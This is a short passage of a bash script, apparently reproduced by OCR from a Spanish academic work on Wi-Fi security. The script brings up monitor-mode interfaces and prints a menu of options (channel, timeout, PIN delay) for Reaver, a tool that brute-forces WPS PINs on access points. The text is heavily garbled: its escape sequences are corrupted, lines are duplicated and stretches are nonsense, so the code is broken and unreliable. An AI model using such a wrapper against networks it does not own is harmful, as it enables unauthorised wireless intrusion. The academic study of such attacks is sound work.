ifconfig $MON1 up;

ifconfig $MON2 up;

ifconfig $MON2 up;

ifconfig $MON3 up;

ifconfig $MON3 up;

echo;

echo ;

echo -e

"$WLAN"> /dev/null;
"$MON1"> /dev/null;
"$MON2"> /dev/null;
"$MON3"> /dev/null;
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"\e[36m\e[40m\e [ ImXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX

XXXXXXXXXXXXXx\e[Om" ;

echo -e "\e[36m\e[40m\e[1mx Reaver's Options
x\e[Om";
echo -e

"\e[36m\e[40m\e [ ImXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXxx\e[om" ;

echo -e "\e[36m\e[40m\e[1mx

x\e[@m";

echo -e "\e[36m\e[40m\e[1mx[1] Channel Option (-c)

x\e[@m";

echo -e "\e[36m\e[40m\e[1lmx(note: Some Access Point hop to another channel when
they reboot! x\e[Om";

echo -e

N[ BOMNE[AOM B L dMX . ettt ettt ettt eeneeeesennnnsesossennasesssnnnsesssosenanssss
............ x\e[@m";

echo -e "\e[36m\e[40m\e[1mx[2] Timeout Option (-t)

x\e[@m";

echo -e "\e[36m\e[40m\e[1lmx(Reaver's time to wait for a message from the AP)
x\e[@m";

echo -e

N[ BOM\E [ AOMNE L LMX . vttt et eeee et teeeenesososeesnnssossennasssosssnnssssossnnassas
............ x\e[Om";

echo -e "\e[36m\e[40m\e[1mx[3] Reaver's time between pin (-d)

x\e[@m";

echo -e "\e[36m\e[40m\e[1mx

x\e[@m";

echo -e

"\e[36m\e[40m\e [ IMXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXxx\e[om" ;

echo ;

92
Desarrollo tedrico y empirico de la seguridad en redes Wi-Fi




